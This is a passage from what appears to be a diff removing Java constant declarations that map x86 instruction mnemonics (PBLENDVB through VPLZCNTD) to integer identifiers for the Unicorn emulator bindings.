UC_X86_INS_PBLENDVB = 507; - public static final int UC_X86_INS_PBLENDW = 508; - public static final int UC_X86_INS_PCLMULQDQ = 509; - public static final int UC_X86_INS_PCMPEQQ = 510; - public static final int UC_X86_INS_PCMPESTRI = 511; - public static final int UC_X86_INS_PCMPESTRM = 512; - public static final int UC_X86_INS_PCMPGTQ = 513; - public static final int UC_X86_INS_PCMPISTRI = 514; - public static final int UC_X86_INS_PCMPISTRM = 515; - public static final int UC_X86_INS_PCOMMIT = 516; - public static final int UC_X86_INS_PDEP = 517; - public static final int UC_X86_INS_PEXT = 518; - public static final int UC_X86_INS_PEXTRB = 519; - public static final int UC_X86_INS_PEXTRD = 520; - public static final int UC_X86_INS_PEXTRQ = 521; - public static final int UC_X86_INS_PF2ID = 522; - public static final int UC_X86_INS_PF2IW = 523; - public static final int UC_X86_INS_PFACC = 524; - public static final int UC_X86_INS_PFADD = 525; - public static final int UC_X86_INS_PFCMPEQ = 526; - public static final int UC_X86_INS_PFCMPGE = 527; - public static final int UC_X86_INS_PFCMPGT = 528; - public static final int UC_X86_INS_PFMAX = 529; - public static final int UC_X86_INS_PFMIN = 530; - public static final int UC_X86_INS_PFMUL = 531; - public static final int UC_X86_INS_PFNACC = 532; - public static final int UC_X86_INS_PFPNACC = 533; - public static final int UC_X86_INS_PFRCPIT1 = 534; - public static final int UC_X86_INS_PFRCPIT2 = 535; - public static final int UC_X86_INS_PFRCP = 536; - public static final int UC_X86_INS_PFRSQIT1 = 537; - public static final int UC_X86_INS_PFRSQRT = 538; - public static final int UC_X86_INS_PFSUBR = 539; - public static final int UC_X86_INS_PFSUB = 540; - public static final int UC_X86_INS_PHMINPOSUW = 541; - public static final int UC_X86_INS_PI2FD = 542; - public static final int UC_X86_INS_PI2FW = 543; - public static final int UC_X86_INS_PINSRB = 544; - public static final int UC_X86_INS_PINSRD = 545; - public static final int UC_X86_INS_PINSRQ = 546; - public static final int UC_X86_INS_PMAXSB = 547; - public static final int UC_X86_INS_PMAXSD = 548; - public static final int UC_X86_INS_PMAXUD = 549; - public static final int UC_X86_INS_PMAXUW = 550; - public static final int UC_X86_INS_PMINSB = 551; - public static final int UC_X86_INS_PMINSD = 552; - public static final int UC_X86_INS_PMINUD = 553; - public static final int UC_X86_INS_PMINUW = 554; - public static final int UC_X86_INS_PMOVSXBD = 555; - public static final int UC_X86_INS_PMOVSXBQ = 556; - public static final int UC_X86_INS_PMOVSXBW = 557; - public static final int UC_X86_INS_PMOVSXDQ = 558; - public static final int UC_X86_INS_PMOVSXWD = 559; - public static final int UC_X86_INS_PMOVSXWQ = 560; - public static final int UC_X86_INS_PMOVZXBD = 561; - public static final int UC_X86_INS_PMOVZXBQ = 562; - public static final int UC_X86_INS_PMOVZXBW = 563; - public static final int UC_X86_INS_PMOVZXDQ = 564; - public static final int UC_X86_INS_PMOVZXWD = 565; - public static final int UC_X86_INS_PMOVZXWQ = 566; - public static final int UC_X86_INS_PMULDQ = 567; - public static final int UC_X86_INS_PMULHRW = 568; - public static final int UC_X86_INS_PMULLD = 569; - public static final int UC_X86_INS_POP = 570; - public static final int UC_X86_INS_POPAW = 571; - public static final int UC_X86_INS_POPAL = 572; - public static final int UC_X86_INS_POPCNT = 573; - public static final int UC_X86_INS_POPF = 574; - public static final int UC_X86_INS_POPFD = 575; - public static final int UC_X86_INS_POPFQ = 576; - public static final int UC_X86_INS_PREFETCH = 577; - public static final int UC_X86_INS_PREFETCHNTA = 578; - public static final int UC_X86_INS_PREFETCHT0 = 579; - public static final int UC_X86_INS_PREFETCHT1 = 580; - public static final int UC_X86_INS_PREFETCHT2 = 581; - public static final int UC_X86_INS_PREFETCHW = 582; - public static final int UC_X86_INS_PSHUFD = 583; - public static final int UC_X86_INS_PSHUFHW = 584; - public static final int UC_X86_INS_PSHUFLW = 585; - public static final int UC_X86_INS_PSLLDQ = 586; - public static final int UC_X86_INS_PSRLDQ = 587; - public static final int UC_X86_INS_PSWAPD = 588; - public static final int UC_X86_INS_PTEST = 589; - public static final int UC_X86_INS_PUNPCKHQDQ = 590; - public static final int UC_X86_INS_PUNPCKLQDQ = 591; - public static final int UC_X86_INS_PUSH = 592; - public static final int UC_X86_INS_PUSHAW = 593; - public static final int UC_X86_INS_PUSHAL = 594; - public static final int UC_X86_INS_PUSHF = 595; - public static final int UC_X86_INS_PUSHFD = 596; - public static final int UC_X86_INS_PUSHFQ = 597; - public static final int UC_X86_INS_RCL = 598; - public static final int UC_X86_INS_RCPPS = 599; - public static final int UC_X86_INS_RCPSS = 600; - public static final int UC_X86_INS_RCR = 601; - public static final int UC_X86_INS_RDFSBASE = 602; - public static final int UC_X86_INS_RDGSBASE = 603; - public static final int UC_X86_INS_RDMSR = 604; - public static final int UC_X86_INS_RDPMC = 605; - public static final int UC_X86_INS_RDRAND = 606; - public static final int UC_X86_INS_RDSEED = 607; - public static final int UC_X86_INS_RDTSC = 608; - public static final int UC_X86_INS_RDTSCP = 609; - public static final int UC_X86_INS_ROL = 610; - public static final int UC_X86_INS_ROR = 611; - public static final int UC_X86_INS_RORX = 612; - public static final int UC_X86_INS_ROUNDPD = 613; - public static final int UC_X86_INS_ROUNDPS = 614; - public static final int UC_X86_INS_ROUNDSD = 615; - public static final int UC_X86_INS_ROUNDSS = 616; - public static final int UC_X86_INS_RSM = 617; - public static final int UC_X86_INS_RSQRTPS = 618; - public static final int UC_X86_INS_RSQRTSS = 619; - public static final int UC_X86_INS_SAHF = 620; - public static final int UC_X86_INS_SAL = 621; - public static final int UC_X86_INS_SALC = 622; - public static final int UC_X86_INS_SAR = 623; - public static final int UC_X86_INS_SARX = 624; - public static final int UC_X86_INS_SBB = 625; - public static final int UC_X86_INS_SCASB = 626; - public static final int UC_X86_INS_SCASD = 627; - public static final int UC_X86_INS_SCASQ = 628; - public static final int UC_X86_INS_SCASW = 629; - public static final int UC_X86_INS_SETAE = 630; - public static final int UC_X86_INS_SETA = 631; - public static final int UC_X86_INS_SETBE = 632; - public static final int UC_X86_INS_SETB = 633; - public static final int UC_X86_INS_SETE = 634; - public static final int UC_X86_INS_SETGE = 635; - public static final int UC_X86_INS_SETG = 636; - public static final int UC_X86_INS_SETLE = 637; - public static final int UC_X86_INS_SETL = 638; - public static final int UC_X86_INS_SETNE = 639; - public static final int UC_X86_INS_SETNO = 640; - public static final int UC_X86_INS_SETNP = 641; - public static final int UC_X86_INS_SETNS = 642; - public static final int UC_X86_INS_SETO = 643; - public static final int UC_X86_INS_SETP = 644; - public static final int UC_X86_INS_SETS = 645; - public static final int UC_X86_INS_SFENCE = 646; - public static final int UC_X86_INS_SGDT = 647; - public static final int UC_X86_INS_SHA1MSG1 = 648; - public static final int UC_X86_INS_SHA1MSG2 = 649; - public static final int UC_X86_INS_SHA1NEXTE = 650; - public static final int UC_X86_INS_SHA1RNDS4 = 651; - public static final int UC_X86_INS_SHA256MSG1 = 652; - public static final int UC_X86_INS_SHA256MSG2 = 653; - public static final int UC_X86_INS_SHA256RNDS2 = 654; - public static final int UC_X86_INS_SHL = 655; - public static final int UC_X86_INS_SHLD = 656; - public static final int UC_X86_INS_SHLX = 657; - public static final int UC_X86_INS_SHR = 658; - public static final int UC_X86_INS_SHRD = 659; - public static final int UC_X86_INS_SHRX = 660; - public static final int UC_X86_INS_SHUFPD = 661; - public static final int UC_X86_INS_SHUFPS = 662; - public static final int UC_X86_INS_SIDT = 663; - public static final int UC_X86_INS_FSIN = 664; - public static final int UC_X86_INS_SKINIT = 665; - public static final int UC_X86_INS_SLDT = 666; - public static final int UC_X86_INS_SMSW = 667; - public static final int UC_X86_INS_SQRTPD = 668; - public static final int UC_X86_INS_SQRTPS = 669; - public static final int UC_X86_INS_SQRTSD = 670; - public static final int UC_X86_INS_SQRTSS = 671; - public static final int UC_X86_INS_FSQRT = 672; - public static final int UC_X86_INS_STAC = 673; - public static final int UC_X86_INS_STC = 674; - public static final int UC_X86_INS_STD = 675; - public static final int UC_X86_INS_STGI = 676; - public static final int UC_X86_INS_STI = 677; - public static final int UC_X86_INS_STMXCSR = 678; - public static final int UC_X86_INS_STOSB = 679; - public static final int UC_X86_INS_STOSD = 680; - public static final int UC_X86_INS_STOSQ = 681; - public static final int UC_X86_INS_STOSW = 682; - public static final int UC_X86_INS_STR = 683; - public static final int UC_X86_INS_FST = 684; - public static final int UC_X86_INS_FSTP = 685; - public static final int UC_X86_INS_FSTPNCE = 686; - public static final int UC_X86_INS_FXCH = 687; - public static final int UC_X86_INS_SUBPD = 688; - public static final int UC_X86_INS_SUBPS = 689; - public static final int UC_X86_INS_FSUBR = 690; - public static final int UC_X86_INS_FISUBR = 691; - public static final int UC_X86_INS_FSUBRP = 692; - public static final int UC_X86_INS_SUBSD = 693; - public static final int UC_X86_INS_SUBSS = 694; - public static final int UC_X86_INS_FSUB = 695; - public static final int UC_X86_INS_FISUB = 696; - public static final int UC_X86_INS_FSUBP = 697; - public static final int UC_X86_INS_SWAPGS = 698; - public static final int UC_X86_INS_SYSCALL = 699; - public static final int UC_X86_INS_SYSENTER = 700; - public static final int UC_X86_INS_SYSEXIT = 701; - public static final int UC_X86_INS_SYSRET = 702; - public static final int UC_X86_INS_T1MSKC = 703; - public static final int UC_X86_INS_TEST = 704; - public static final int UC_X86_INS_UD2 = 705; - public static final int UC_X86_INS_FTST = 706; - public static final int UC_X86_INS_TZCNT = 707; - public static final int UC_X86_INS_TZMSK = 708; - public static final int UC_X86_INS_FUCOMPI = 709; - public static final int UC_X86_INS_FUCOMI = 710; - public static final int UC_X86_INS_FUCOMPP = 711; - public static final int UC_X86_INS_FUCOMP = 712; - public static final int UC_X86_INS_FUCOM = 713; - public static final int UC_X86_INS_UD2B = 714; - public static final int UC_X86_INS_UNPCKHPD = 715; - public static final int UC_X86_INS_UNPCKHPS = 716; - public static final int UC_X86_INS_UNPCKLPD = 717; - public static final int UC_X86_INS_UNPCKLPS = 718; - public static final int UC_X86_INS_VADDPD = 719; - public static final int UC_X86_INS_VADDPS = 720; - public static final int UC_X86_INS_VADDSD = 721; - public static final int UC_X86_INS_VADDSS = 722; - public static final int UC_X86_INS_VADDSUBPD = 723; - public static final int UC_X86_INS_VADDSUBPS = 724; - public static final int UC_X86_INS_VAESDECLAST = 725; - public static final int UC_X86_INS_VAESDEC = 726; - public static final int UC_X86_INS_VAESENCLAST = 727; - public static final int UC_X86_INS_VAESENC = 728; - public static final int UC_X86_INS_VAESIMC = 729; - public static final int UC_X86_INS_VAESKEYGENASSIST = 730; - public static final int UC_X86_INS_VALIGND = 731; - public static final int UC_X86_INS_VALIGNQ = 732; - public static final int UC_X86_INS_VANDNPD = 733; - public static final int UC_X86_INS_VANDNPS = 734; - public static final int UC_X86_INS_VANDPD = 735; - public static final int UC_X86_INS_VANDPS = 736; - public static final int UC_X86_INS_VBLENDMPD = 737; - public static final int UC_X86_INS_VBLENDMPS = 738; - public static final int UC_X86_INS_VBLENDPD = 739; - public static final int UC_X86_INS_VBLENDPS = 740; - public static final int UC_X86_INS_VBLENDVPD = 741; - public static final int UC_X86_INS_VBLENDVPS = 742; - public static final int UC_X86_INS_VBROADCASTF128 = 743; - public static final int UC_X86_INS_VBROADCASTI32X4 = 744; - public static final int UC_X86_INS_VBROADCASTI64X4 = 745; - public static final int UC_X86_INS_VBROADCASTSD = 746; - public static final int UC_X86_INS_VBROADCASTSS = 747; - public static final int UC_X86_INS_VCMPPD = 748; - public static final int UC_X86_INS_VCMPPS = 749; - public static final int UC_X86_INS_VCMPSD = 750; - public static final int UC_X86_INS_VCMPSS = 751; - public static final int UC_X86_INS_VCOMPRESSPD = 752; - public static final int UC_X86_INS_VCOMPRESSPS = 753; - public static final int UC_X86_INS_VCVTDQ2PD = 754; - public static final int UC_X86_INS_VCVTDQ2PS = 755; - public static final int UC_X86_INS_VCVTPD2DQX = 756; - public static final int UC_X86_INS_VCVTPD2DQ = 757; - public static final int UC_X86_INS_VCVTPD2PSX = 758; - public static final int UC_X86_INS_VCVTPD2PS = 759; - public static final int UC_X86_INS_VCVTPD2UDQ = 760; - public static final int UC_X86_INS_VCVTPH2PS = 761; - public static final int UC_X86_INS_VCVTPS2DQ = 762; - public static final int UC_X86_INS_VCVTPS2PD = 763; - public static final int UC_X86_INS_VCVTPS2PH = 764; - public static final int UC_X86_INS_VCVTPS2UDQ = 765; - public static final int UC_X86_INS_VCVTSD2SI = 766; - public static final int UC_X86_INS_VCVTSD2USI = 767; - public static final int UC_X86_INS_VCVTSS2SI = 768; - public static final int UC_X86_INS_VCVTSS2USI = 769; - public static final int UC_X86_INS_VCVTTPD2DQX = 770; - public static final int UC_X86_INS_VCVTTPD2DQ = 771; - public static final int UC_X86_INS_VCVTTPD2UDQ = 772; - public static final int UC_X86_INS_VCVTTPS2DQ = 773; - public static final int UC_X86_INS_VCVTTPS2UDQ = 774; - public static final int UC_X86_INS_VCVTUDQ2PD = 775; - public static final int UC_X86_INS_VCVTUDQ2PS = 776; - public static final int UC_X86_INS_VDIVPD = 777; - public static final int UC_X86_INS_VDIVPS = 778; - public static final int UC_X86_INS_VDIVSD = 779; - public static final int UC_X86_INS_VDIVSS = 780; - public static final int UC_X86_INS_VDPPD = 781; - public static final int UC_X86_INS_VDPPS = 782; - public static final int UC_X86_INS_VERR = 783; - public static final int UC_X86_INS_VERW = 784; - public static final int UC_X86_INS_VEXP2PD = 785; - public static final int UC_X86_INS_VEXP2PS = 786; - public static final int UC_X86_INS_VEXPANDPD = 787; - public static final int UC_X86_INS_VEXPANDPS = 788; - public static final int UC_X86_INS_VEXTRACTF128 = 789; - public static final int UC_X86_INS_VEXTRACTF32X4 = 790; - public static final int UC_X86_INS_VEXTRACTF64X4 = 791; - public static final int UC_X86_INS_VEXTRACTI128 = 792; - public static final int UC_X86_INS_VEXTRACTI32X4 = 793; - public static final int UC_X86_INS_VEXTRACTI64X4 = 794; - public static final int UC_X86_INS_VEXTRACTPS = 795; - public static final int UC_X86_INS_VFMADD132PD = 796; - public static final int UC_X86_INS_VFMADD132PS = 797; - public static final int UC_X86_INS_VFMADDPD = 798; - public static final int UC_X86_INS_VFMADD213PD = 799; - public static final int UC_X86_INS_VFMADD231PD = 800; - public static final int UC_X86_INS_VFMADDPS = 801; - public static final int UC_X86_INS_VFMADD213PS = 802; - public static final int UC_X86_INS_VFMADD231PS = 803; - public static final int UC_X86_INS_VFMADDSD = 804; - public static final int UC_X86_INS_VFMADD213SD = 805; - public static final int UC_X86_INS_VFMADD132SD = 806; - public static final int UC_X86_INS_VFMADD231SD = 807; - public static final int UC_X86_INS_VFMADDSS = 808; - public static final int UC_X86_INS_VFMADD213SS = 809; - public static final int UC_X86_INS_VFMADD132SS = 810; - public static final int UC_X86_INS_VFMADD231SS = 811; - public static final int UC_X86_INS_VFMADDSUB132PD = 812; - public static final int UC_X86_INS_VFMADDSUB132PS = 813; - public static final int UC_X86_INS_VFMADDSUBPD = 814; - public static final int UC_X86_INS_VFMADDSUB213PD = 815; - public static final int UC_X86_INS_VFMADDSUB231PD = 816; - public static final int UC_X86_INS_VFMADDSUBPS = 817; - public static final int UC_X86_INS_VFMADDSUB213PS = 818; - public static final int UC_X86_INS_VFMADDSUB231PS = 819; - public static final int UC_X86_INS_VFMSUB132PD = 820; - public static final int UC_X86_INS_VFMSUB132PS = 821; - public static final int UC_X86_INS_VFMSUBADD132PD = 822; - public static final int UC_X86_INS_VFMSUBADD132PS = 823; - public static final int UC_X86_INS_VFMSUBADDPD = 824; - public static final int UC_X86_INS_VFMSUBADD213PD = 825; - public static final int UC_X86_INS_VFMSUBADD231PD = 826; - public static final int UC_X86_INS_VFMSUBADDPS = 827; - public static final int UC_X86_INS_VFMSUBADD213PS = 828; - public static final int UC_X86_INS_VFMSUBADD231PS = 829; - public static final int UC_X86_INS_VFMSUBPD = 830; - public static final int UC_X86_INS_VFMSUB213PD = 831; - public static final int UC_X86_INS_VFMSUB231PD = 832; - public static final int UC_X86_INS_VFMSUBPS = 833; - public static final int UC_X86_INS_VFMSUB213PS = 834; - public static final int UC_X86_INS_VFMSUB231PS = 835; - public static final int UC_X86_INS_VFMSUBSD = 836; - public static final int UC_X86_INS_VFMSUB213SD = 837; - public static final int UC_X86_INS_VFMSUB132SD = 838; - public static final int UC_X86_INS_VFMSUB231SD = 839; - public static final int UC_X86_INS_VFMSUBSS = 840; - public static final int UC_X86_INS_VFMSUB213SS = 841; - public static final int UC_X86_INS_VFMSUB132SS = 842; - public static final int UC_X86_INS_VFMSUB231SS = 843; - public static final int UC_X86_INS_VFNMADD132PD = 844; - public static final int UC_X86_INS_VFNMADD132PS = 845; - public static final int UC_X86_INS_VFNMADDPD = 846; - public static final int UC_X86_INS_VFNMADD213PD = 847; - public static final int UC_X86_INS_VFNMADD231PD = 848; - public static final int UC_X86_INS_VFNMADDPS = 849; - public static final int UC_X86_INS_VFNMADD213PS = 850; - public static final int UC_X86_INS_VFNMADD231PS = 851; - public static final int UC_X86_INS_VFNMADDSD = 852; - public static final int UC_X86_INS_VFNMADD213SD = 853; - public static final int UC_X86_INS_VFNMADD132SD = 854; - public static final int UC_X86_INS_VFNMADD231SD = 855; - public static final int UC_X86_INS_VFNMADDSS = 856; - public static final int UC_X86_INS_VFNMADD213SS = 857; - public static final int UC_X86_INS_VFNMADD132SS = 858; - public static final int UC_X86_INS_VFNMADD231SS = 859; - public static final int UC_X86_INS_VFNMSUB132PD = 860; - public static final int UC_X86_INS_VFNMSUB132PS = 861; - public static final int UC_X86_INS_VFNMSUBPD = 862; - public static final int UC_X86_INS_VFNMSUB213PD = 863; - public static final int UC_X86_INS_VFNMSUB231PD = 864; - public static final int UC_X86_INS_VFNMSUBPS = 865; - public static final int UC_X86_INS_VFNMSUB213PS = 866; - public static final int UC_X86_INS_VFNMSUB231PS = 867; - public static final int UC_X86_INS_VFNMSUBSD = 868; - public static final int UC_X86_INS_VFNMSUB213SD = 869; - public static final int UC_X86_INS_VFNMSUB132SD = 870; - public static final int UC_X86_INS_VFNMSUB231SD = 871; - public static final int UC_X86_INS_VFNMSUBSS = 872; - public static final int UC_X86_INS_VFNMSUB213SS = 873; - public static final int UC_X86_INS_VFNMSUB132SS = 874; - public static final int UC_X86_INS_VFNMSUB231SS = 875; - public static final int UC_X86_INS_VFRCZPD = 876; - public static final int UC_X86_INS_VFRCZPS = 877; - public static final int UC_X86_INS_VFRCZSD = 878; - public static final int UC_X86_INS_VFRCZSS = 879; - public static final int UC_X86_INS_VORPD = 880; - public static final int UC_X86_INS_VORPS = 881; - public static final int UC_X86_INS_VXORPD = 882; - public static final int UC_X86_INS_VXORPS = 883; - public static final int UC_X86_INS_VGATHERDPD = 884; - public static final int UC_X86_INS_VGATHERDPS = 885; - public static final int UC_X86_INS_VGATHERPF0DPD = 886; - public static final int UC_X86_INS_VGATHERPF0DPS = 887; - public static final int UC_X86_INS_VGATHERPF0QPD = 888; - public static final int UC_X86_INS_VGATHERPF0QPS = 889; - public static final int UC_X86_INS_VGATHERPF1DPD = 890; - public static final int UC_X86_INS_VGATHERPF1DPS = 891; - public static final int UC_X86_INS_VGATHERPF1QPD = 892; - public static final int UC_X86_INS_VGATHERPF1QPS = 893; - public static final int UC_X86_INS_VGATHERQPD = 894; - public static final int UC_X86_INS_VGATHERQPS = 895; - public static final int UC_X86_INS_VHADDPD = 896; - public static final int UC_X86_INS_VHADDPS = 897; - public static final int UC_X86_INS_VHSUBPD = 898; - public static final int UC_X86_INS_VHSUBPS = 899; - public static final int UC_X86_INS_VINSERTF128 = 900; - public static final int UC_X86_INS_VINSERTF32X4 = 901; - public static final int UC_X86_INS_VINSERTF32X8 = 902; - public static final int UC_X86_INS_VINSERTF64X2 = 903; - public static final int UC_X86_INS_VINSERTF64X4 = 904; - public static final int UC_X86_INS_VINSERTI128 = 905; - public static final int UC_X86_INS_VINSERTI32X4 = 906; - public static final int UC_X86_INS_VINSERTI32X8 = 907; - public static final int UC_X86_INS_VINSERTI64X2 = 908; - public static final int UC_X86_INS_VINSERTI64X4 = 909; - public static final int UC_X86_INS_VINSERTPS = 910; - public static final int UC_X86_INS_VLDDQU = 911; - public static final int UC_X86_INS_VLDMXCSR = 912; - public static final int UC_X86_INS_VMASKMOVDQU = 913; - public static final int UC_X86_INS_VMASKMOVPD = 914; - public static final int UC_X86_INS_VMASKMOVPS = 915; - public static final int UC_X86_INS_VMAXPD = 916; - public static final int UC_X86_INS_VMAXPS = 917; - public static final int UC_X86_INS_VMAXSD = 918; - public static final int UC_X86_INS_VMAXSS = 919; - public static final int UC_X86_INS_VMCALL = 920; - public static final int UC_X86_INS_VMCLEAR = 921; - public static final int UC_X86_INS_VMFUNC = 922; - public static final int UC_X86_INS_VMINPD = 923; - public static final int UC_X86_INS_VMINPS = 924; - public static final int UC_X86_INS_VMINSD = 925; - public static final int UC_X86_INS_VMINSS = 926; - public static final int UC_X86_INS_VMLAUNCH = 927; - public static final int UC_X86_INS_VMLOAD = 928; - public static final int UC_X86_INS_VMMCALL = 929; - public static final int UC_X86_INS_VMOVQ = 930; - public static final int UC_X86_INS_VMOVDDUP = 931; - public static final int UC_X86_INS_VMOVD = 932; - public static final int UC_X86_INS_VMOVDQA32 = 933; - public static final int UC_X86_INS_VMOVDQA64 = 934; - public static final int UC_X86_INS_VMOVDQA = 935; - public static final int UC_X86_INS_VMOVDQU16 = 936; - public static final int UC_X86_INS_VMOVDQU32 = 937; - public static final int UC_X86_INS_VMOVDQU64 = 938; - public static final int UC_X86_INS_VMOVDQU8 = 939; - public static final int UC_X86_INS_VMOVDQU = 940; - public static final int UC_X86_INS_VMOVHLPS = 941; - public static final int UC_X86_INS_VMOVHPD = 942; - public static final int UC_X86_INS_VMOVHPS = 943; - public static final int UC_X86_INS_VMOVLHPS = 944; - public static final int UC_X86_INS_VMOVLPD = 945; - public static final int UC_X86_INS_VMOVLPS = 946; - public static final int UC_X86_INS_VMOVMSKPD = 947; - public static final int UC_X86_INS_VMOVMSKPS = 948; - public static final int UC_X86_INS_VMOVNTDQA = 949; - public static final int UC_X86_INS_VMOVNTDQ = 950; - public static final int UC_X86_INS_VMOVNTPD = 951; - public static final int UC_X86_INS_VMOVNTPS = 952; - public static final int UC_X86_INS_VMOVSD = 953; - public static final int UC_X86_INS_VMOVSHDUP = 954; - public static final int UC_X86_INS_VMOVSLDUP = 955; - public static final int UC_X86_INS_VMOVSS = 956; - public static final int UC_X86_INS_VMOVUPD = 957; - public static final int UC_X86_INS_VMOVUPS = 958; - public static final int UC_X86_INS_VMPSADBW = 959; - public static final int UC_X86_INS_VMPTRLD = 960; - public static final int UC_X86_INS_VMPTRST = 961; - public static final int UC_X86_INS_VMREAD = 962; - public static final int UC_X86_INS_VMRESUME = 963; - public static final int UC_X86_INS_VMRUN = 964; - public static final int UC_X86_INS_VMSAVE = 965; - public static final int UC_X86_INS_VMULPD = 966; - public static final int UC_X86_INS_VMULPS = 967; - public static final int UC_X86_INS_VMULSD = 968; - public static final int UC_X86_INS_VMULSS = 969; - public static final int UC_X86_INS_VMWRITE = 970; - public static final int UC_X86_INS_VMXOFF = 971; - public static final int UC_X86_INS_VMXON = 972; - public static final int UC_X86_INS_VPABSB = 973; - public static final int UC_X86_INS_VPABSD = 974; - public static final int UC_X86_INS_VPABSQ = 975; - public static final int UC_X86_INS_VPABSW = 976; - public static final int UC_X86_INS_VPACKSSDW = 977; - public static final int UC_X86_INS_VPACKSSWB = 978; - public static final int UC_X86_INS_VPACKUSDW = 979; - public static final int UC_X86_INS_VPACKUSWB = 980; - public static final int UC_X86_INS_VPADDB = 981; - public static final int UC_X86_INS_VPADDD = 982; - public static final int UC_X86_INS_VPADDQ = 983; - public static final int UC_X86_INS_VPADDSB = 984; - public static final int UC_X86_INS_VPADDSW = 985; - public static final int UC_X86_INS_VPADDUSB = 986; - public static final int UC_X86_INS_VPADDUSW = 987; - public static final int UC_X86_INS_VPADDW = 988; - public static final int UC_X86_INS_VPALIGNR = 989; - public static final int UC_X86_INS_VPANDD = 990; - public static final int UC_X86_INS_VPANDND = 991; - public static final int UC_X86_INS_VPANDNQ = 992; - public static final int UC_X86_INS_VPANDN = 993; - public static final int UC_X86_INS_VPANDQ = 994; - public static final int UC_X86_INS_VPAND = 995; - public static final int UC_X86_INS_VPAVGB = 996; - public static final int UC_X86_INS_VPAVGW = 997; - public static final int UC_X86_INS_VPBLENDD = 998; - public static final int UC_X86_INS_VPBLENDMB = 999; - public static final int UC_X86_INS_VPBLENDMD = 1000; - public static final int UC_X86_INS_VPBLENDMQ = 1001; - public static final int UC_X86_INS_VPBLENDMW = 1002; - public static final int UC_X86_INS_VPBLENDVB = 1003; - public static final int UC_X86_INS_VPBLENDW = 1004; - public static final int UC_X86_INS_VPBROADCASTB = 1005; - public static final int UC_X86_INS_VPBROADCASTD = 1006; - public static final int UC_X86_INS_VPBROADCASTMB2Q = 1007; - public static final int UC_X86_INS_VPBROADCASTMW2D = 1008; - public static final int UC_X86_INS_VPBROADCASTQ = 1009; - public static final int UC_X86_INS_VPBROADCASTW = 1010; - public static final int UC_X86_INS_VPCLMULQDQ = 1011; - public static final int UC_X86_INS_VPCMOV = 1012; - public static final int UC_X86_INS_VPCMPB = 1013; - public static final int UC_X86_INS_VPCMPD = 1014; - public static final int UC_X86_INS_VPCMPEQB = 1015; - public static final int UC_X86_INS_VPCMPEQD = 1016; - public static final int UC_X86_INS_VPCMPEQQ = 1017; - public static final int UC_X86_INS_VPCMPEQW = 1018; - public static final int UC_X86_INS_VPCMPESTRI = 1019; - public static final int UC_X86_INS_VPCMPESTRM = 1020; - public static final int UC_X86_INS_VPCMPGTB = 1021; - public static final int UC_X86_INS_VPCMPGTD = 1022; - public static final int UC_X86_INS_VPCMPGTQ = 1023; - public static final int UC_X86_INS_VPCMPGTW = 1024; - public static final int UC_X86_INS_VPCMPISTRI = 1025; - public static final int UC_X86_INS_VPCMPISTRM = 1026; - public static final int UC_X86_INS_VPCMPQ = 1027; - public static final int UC_X86_INS_VPCMPUB = 1028; - public static final int UC_X86_INS_VPCMPUD = 1029; - public static final int UC_X86_INS_VPCMPUQ = 1030; - public static final int UC_X86_INS_VPCMPUW = 1031; - public static final int UC_X86_INS_VPCMPW = 1032; - public static final int UC_X86_INS_VPCOMB = 1033; - public static final int UC_X86_INS_VPCOMD = 1034; - public static final int UC_X86_INS_VPCOMPRESSD = 1035; - public static final int UC_X86_INS_VPCOMPRESSQ = 1036; - public static final int UC_X86_INS_VPCOMQ = 1037; - public static final int UC_X86_INS_VPCOMUB = 1038; - public static final int UC_X86_INS_VPCOMUD = 1039; - public static final int UC_X86_INS_VPCOMUQ = 1040; - public static final int UC_X86_INS_VPCOMUW = 1041; - public static final int UC_X86_INS_VPCOMW = 1042; - public static final int UC_X86_INS_VPCONFLICTD = 1043; - public static final int UC_X86_INS_VPCONFLICTQ = 1044; - public static final int UC_X86_INS_VPERM2F128 = 1045; - public static final int UC_X86_INS_VPERM2I128 = 1046; - public static final int UC_X86_INS_VPERMD = 1047; - public static final int UC_X86_INS_VPERMI2D = 1048; - public static final int UC_X86_INS_VPERMI2PD = 1049; - public static final int UC_X86_INS_VPERMI2PS = 1050; - public static final int UC_X86_INS_VPERMI2Q = 1051; - public static final int UC_X86_INS_VPERMIL2PD = 1052; - public static final int UC_X86_INS_VPERMIL2PS = 1053; - public static final int UC_X86_INS_VPERMILPD = 1054; - public static final int UC_X86_INS_VPERMILPS = 1055; - public static final int UC_X86_INS_VPERMPD = 1056; - public static final int UC_X86_INS_VPERMPS = 1057; - public static final int UC_X86_INS_VPERMQ = 1058; - public static final int UC_X86_INS_VPERMT2D = 1059; - public static final int UC_X86_INS_VPERMT2PD = 1060; - public static final int UC_X86_INS_VPERMT2PS = 1061; - public static final int UC_X86_INS_VPERMT2Q = 1062; - public static final int UC_X86_INS_VPEXPANDD = 1063; - public static final int UC_X86_INS_VPEXPANDQ = 1064; - public static final int UC_X86_INS_VPEXTRB = 1065; - public static final int UC_X86_INS_VPEXTRD = 1066; - public static final int UC_X86_INS_VPEXTRQ = 1067; - public static final int UC_X86_INS_VPEXTRW = 1068; - public static final int UC_X86_INS_VPGATHERDD = 1069; - public static final int UC_X86_INS_VPGATHERDQ = 1070; - public static final int UC_X86_INS_VPGATHERQD = 1071; - public static final int UC_X86_INS_VPGATHERQQ = 1072; - public static final int UC_X86_INS_VPHADDBD = 1073; - public static final int UC_X86_INS_VPHADDBQ = 1074; - public static final int UC_X86_INS_VPHADDBW = 1075; - public static final int UC_X86_INS_VPHADDDQ = 1076; - public static final int UC_X86_INS_VPHADDD = 1077; - public static final int UC_X86_INS_VPHADDSW = 1078; - public static final int UC_X86_INS_VPHADDUBD = 1079; - public static final int UC_X86_INS_VPHADDUBQ = 1080; - public static final int UC_X86_INS_VPHADDUBW = 1081; - public static final int UC_X86_INS_VPHADDUDQ = 1082; - public static final int UC_X86_INS_VPHADDUWD = 1083; - public static final int UC_X86_INS_VPHADDUWQ = 1084; - public static final int UC_X86_INS_VPHADDWD = 1085; - public static final int UC_X86_INS_VPHADDWQ = 1086; - public static final int UC_X86_INS_VPHADDW = 1087; - public static final int UC_X86_INS_VPHMINPOSUW = 1088; - public static final int UC_X86_INS_VPHSUBBW = 1089; - public static final int UC_X86_INS_VPHSUBDQ = 1090; - public static final int UC_X86_INS_VPHSUBD = 1091; - public static final int UC_X86_INS_VPHSUBSW = 1092; - public static final int UC_X86_INS_VPHSUBWD = 1093; - public static final int UC_X86_INS_VPHSUBW = 1094; - public static final int UC_X86_INS_VPINSRB = 1095; - public static final int UC_X86_INS_VPINSRD = 1096; - public static final int UC_X86_INS_VPINSRQ = 1097; - public static final int UC_X86_INS_VPINSRW = 1098; - public static final int UC_X86_INS_VPLZCNTD = 1099; 